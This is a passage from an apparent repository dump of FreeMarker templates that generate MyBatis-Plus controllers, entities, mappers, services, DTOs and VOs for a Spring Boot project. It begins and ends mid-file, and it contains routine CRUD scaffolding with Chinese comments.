\"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"page:\"+page+\"-limit:\"+limit+\"-json:\"+ JSON.toJSONString(searchParams));\n        //分页构造器\n        Page<${classInfo.className}> buildPage = new Page<${classInfo.className}>(page,limit);\n        //条件构造器\n        QueryWrapper<${classInfo.className}> queryWrapper = new QueryWrapper<${classInfo.className}>();\n        if(StringUtils.isNotEmpty(searchParams)&&JSON.isValid(searchParams)) {\n            ${classInfo.className} ${classInfo.className?uncap_first} = JSON.parseObject(searchParams, ${classInfo.className}.class);\n            queryWrapper.eq(StringUtils.isNoneEmpty(${classInfo.className?uncap_first}.get${classInfo.className}Name()), \"${classInfo.className?uncap_first}_name\", ${classInfo.className?uncap_first}.get${classInfo.className}Name());\n        }\n        //执行分页\n        IPage<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Mapper.selectPage(buildPage, queryWrapper);\n        //返回结果\n        return ${returnUtil}.PAGE(pageList.getRecords(),pageList.getTotal());\n    }\n    /**\n    * 手工分页查询(按需使用)\n    */\n    /*@PostMapping(\"/list2\")\n    public Object list2(String searchParams,\n    @RequestParam(required = false, defaultValue = \"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"searchParams:\"+ JSON.toJSONString(searchParams));\n        //通用模式\n        ${classInfo.className} queryParamDTO = JSON.parseObject(searchParams, ${classInfo.className}.class);\n        //专用DTO模式\n        //QueryParamDTO queryParamDTO = JSON.parseObject(searchParams, QueryParamDTO.class);\n        //queryParamDTO.setPage((page - 1)* limit);\n        //queryParamDTO.setLimit(limit);\n        //(page - 1) * limit, limit\n        List<${classInfo.className}> itemList = ${classInfo.className?uncap_first}Mapper.pageAll(queryParamDTO,(page - 1)* limit,limit);\n        Integer itemCount = ${classInfo.className?uncap_first}Mapper.countAll(queryParamDTO);\n        //返回结果\n        return ${returnUtilSuccess}.PAGE(itemList,itemCount);\n    }*/\n    @GetMapping(\"/list\")\n    public ModelAndView listPage(){\n        return new ModelAndView(\"${classInfo.className?uncap_first}-list\");\n    }\n\n    @GetMapping(\"/edit\")\n    public ModelAndView editPage(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        return new ModelAndView(\"${classInfo.className?uncap_first}-edit\",\"${classInfo.className?uncap_first}\",${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 发布/暂停(如不需要请屏蔽)\n    */\n    @PostMapping(\"/publish\")\n    public Object publish(int id,Integer status){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n            ${classInfo.className?uncap_first}.setStatus(status);\n            ${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n            return ${returnUtilSuccess}((status==1)?\"已发布\":\"已暂停\");\n        }else if(status.equals(${classInfo.className?uncap_first}.getStatus())){\n            return ${returnUtilFailure}(\"状态不正确\");\n        }else{\n            return ${returnUtilFailure}();\n        }\n    }\n\n    /**\n    * 执行(如不需要请屏蔽)\n    */\n    @PostMapping(\"/execute\")\n    public Object execute(){\n        return ${returnUtilSuccess};\n    }\n}\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-v1/plusentity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @TableId(type = IdType.AUTO)\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-v1/plusmapper.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Select;\nimport ${packageName}.entity.${classInfo.className};\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends BaseMapper<${classInfo.className}> {\n\n    @Select(\n    \"<script>select t0.* from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n    //add here if need page limit\n    //\" limit ￥{page},￥{limit} \" +\n    \" </script>\")\n    List<${classInfo.className}> pageAll(${classInfo.className} queryParamDTO,int page,int limit);\n\n    @Select(\"<script>select count(1) from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n     \" </script>\")\n    int countAll(${classInfo.className} queryParamDTO);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-v1/plusservice.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.IService;\n</#if>\n/**\n * @description ${classInfo.classComment}服务层\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic interface ${classInfo.className}Service extends IService<${classInfo.className}> {\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-v2/plus-controller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.alibaba.fastjson.JSON;\nimport ${packageName}.vo.${classInfo.className}VO;\nimport ${packageName}.dto.${classInfo.className}DTO;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.service.${classInfo.className}Service;\n//import com.bjc.lcp.common.cnt.enums.CntTableNameEnum;\n//import com.bjc.lcp.common.cnt.service.CntService;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport io.swagger.annotations.ApiParam;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.validation.annotation.Validated;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport org.springframework.beans.BeanUtils;\nimport org.springframework.util.ObjectUtils;\nimport org.apache.shiro.authz.annotation.RequiresPermissions;\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.core.toolkit.Wrappers;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.bjc.lcp.system.common.utils.DataResult;\nimport org.springframework.web.servlet.ModelAndView;\nimport javax.annotation.Resource;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @description ${classInfo.classComment}\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Api(tags = \"${classInfo.classComment}-管理\")\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n    \n    @Resource\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n    \n    //@Autowired\n    //private CntService cntService;\n    \n    @ApiOperation(value = \"${classInfo.classComment}-新增\")\n    @PostMapping(\"/add\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:add\")\n    public DataResult add(@Validated(${classInfo.className}VO.Create.class) @RequestBody ${classInfo.className}VO vo) {\n    \t${classInfo.className}DTO dto = new ${classInfo.className}DTO();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.nullable==true>\n        if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n            return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n        }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        if (list.size() > 0) {\n            return DataResult.fail(\"数据已存在\");\n        }\n        ${classInfo.className}Entity entity = new ${classInfo.className}Entity();\n        \n        BeanUtils.copyProperties(dto, entity);\n        return DataResult.success(${classInfo.className?uncap_first}Service.save(entity));\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/remove\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:remove\")\n    public DataResult delete(@Validated(${classInfo.className}VO.Delete.class) @RequestBody ${classInfo.className}VO vo) {\n    \t${classInfo.className}DTO dto = new ${classInfo.className}DTO();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        return DataResult.success(${classInfo.className?uncap_first}Service.remove(queryWrapper));\n    }\n\n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/delete\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:delete\")\n    public DataResult delete(@RequestBody @ApiParam(value = \"id集合\") List<String> ids) {\n        return DataResult.success(${classInfo.className?uncap_first}Service.removeByIds(ids));\n    }\n\n\n    @ApiOperation(value = \"${classInfo.classComment}-更新\")\n    @PutMapping(\"/update\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:update\")\n    public DataResult update(@Validated(${classInfo.className}VO.Update.class) @RequestBody ${classInfo.className}VO vo) {\n    \t${classInfo.className}DTO dto = new ${classInfo.className}DTO();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        if (entity == null) {\n            return DataResult.fail(\"数据不存在\");\n        }\n        BeanUtils.copyProperties(dto, entity);\n        return DataResult.success(${classInfo.className?uncap_first}Service.updateById(entity));\n    }\n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询单条\")\n    @RequestMapping(value = \"/getOne\",method = {RequestMethod.GET,RequestMethod.POST})\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:getOne\")\n    public DataResult getOne(@RequestBody ${classInfo.className}VO vo) {\n    \t${classInfo.className}DTO dto = new ${classInfo.className}DTO();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        return DataResult.success(entity);\n    }\n    \n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询列表分页数据\")\n    @RequestMapping(value = \"/listByPage\",method = {RequestMethod.GET,RequestMethod.POST})\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:listByPage\")\n    public DataResult listByPage(@RequestBody ${classInfo.className}VO ${classInfo.className?uncap_first}) {\n        Page page = new Page(${classInfo.className?uncap_first}.getPage(), ${classInfo.className?uncap_first}.getLimit());\n        ${classInfo.className}DTO dto = new ${classInfo.className}DTO();\n    \tBeanUtils.copyProperties(${classInfo.className?uncap_first}, dto);\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        IPage<${classInfo.className}Entity> iPage = ${classInfo.className?uncap_first}Service.page(page, queryWrapper);\n        return DataResult.success(iPage);\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-查询全部列表数据\")\n    @RequestMapping(value = \"/list\",method = {RequestMethod.GET,RequestMethod.POST})\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:list\")\n    public DataResult findListByPage(@RequestBody ${classInfo.className}VO ${classInfo.className?uncap_first}) {\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        return DataResult.success(list);\n    }\n\n\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-v2/plus-dto.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.dto;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable; \nimport com.bjc.lcp.system.entity.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}DTO  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}DTO() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-v2/plus-entity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport com.bjc.lcp.system.entity.BaseEntity;\n<#assign isSwagger=false />\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\n@TableName(\"${classInfo.tableName}\")\npublic class ${classInfo.className}Entity  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if fieldItem.isPrimaryKey==true>@TableId(value = \"${fieldItem.columnName}\" ,type = IdType.AUTO )<#else>@TableField(value = \"${fieldItem.columnName}\" )</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Entity() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-v2/plus-mapper.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Select;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends BaseMapper<${classInfo.className}Entity> {\n\n    @Select(\n    \"<script>select t0.* from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n    //add here if need page limit\n    //\" limit ￥{page},￥{limit} \" +\n    \" </script>\")\n    List<${classInfo.className}Entity> pageAll(${classInfo.className}Entity dto,int page,int limit);\n\n    @Select(\"<script>select count(1) from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n     \" </script>\")\n    int countAll(${classInfo.className}Entity dto);\n    \n    @Select(\"SELECT count(1) from ${classInfo.tableName} \")\n    int countAll();\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-v2/plus-service.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\nimport ${packageName}.entity.${classInfo.className}Entity;\n</#if>\n/**\n * @description ${classInfo.classComment}服务层\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface ${classInfo.className}Service extends IService<${classInfo.className}Entity> {\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-v2/plus-serviceimpl.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service.impl;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.service.${classInfo.className}Service;\n\n</#if>\n/**\n * @description ${classInfo.classComment}服务层实现\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic class ${classInfo.className}ServiceImpl extends ServiceImpl<${classInfo.className}Mapper, ${classInfo.className}Entity> implements ${classInfo.className}Service {\n\n\t@Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-v2/plus-vo.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.vo;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport io.swagger.annotations.ApiModelProperty;\nimport lombok.Data;\nimport javax.validation.constraints.NotNull;\nimport javax.validation.constraints.Size;\nimport java.io.Serializable;\nimport com.bjc.lcp.system.entity.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}VO  extends BaseEntity  implements Serializable {\n\n    public interface Retrieve{}\n    public interface Delete {}\n    public interface Update {}\n    public interface Create {}\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    <#if fieldItem.nullable==true>@NotNull(message = \"${fieldItem.fieldComment}不能为空\", groups = {Create.class,Update.class,Delete.class})</#if>\n    <#if fieldItem.nullable==true>@Size( max = ${fieldItem.columnSize},message = \"${fieldItem.fieldComment}长度限制${fieldItem.columnSize}位\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}VO() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-v2/pluscontroller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.alibaba.fastjson.JSON;\nimport ${packageName}.vo.${classInfo.className}VO;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.service.${classInfo.className}Service;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @description ${classInfo.classComment}\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n    @Autowired\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(@RequestBody 